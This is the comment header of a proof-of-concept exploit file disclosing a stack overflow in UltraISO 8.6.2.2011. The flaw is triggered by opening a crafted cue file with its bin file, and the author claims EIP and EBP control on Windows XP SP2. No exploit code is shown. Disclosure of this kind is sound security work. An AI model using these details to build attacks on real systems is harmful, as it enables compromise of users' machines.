#Credit:To n00b for finding this bug and writing poc.
############################################################
#Ultra ISO stack over flow poc code.
#Ultra iso is exploitable via opening
#a specially crafted Cue file..There is 
#A limitation that the user must have the bin 
#file in the same dir as the cue file.
#This is the reason i have provided the 
#Bin file also Command execution is possible
#As we can control $ebp and $eip hoooooha.
#I will be working on the local exploit 
#as soon as i get a chance this should be a straight forward 
#to exploit this as we already gain control of the
#$eip register..
#Tested on :win xp service pack 2 
#Vendor's web site: http://www.ezbsystems.com/ultraiso
# Version affected: UltraISO 8.6.2.2011
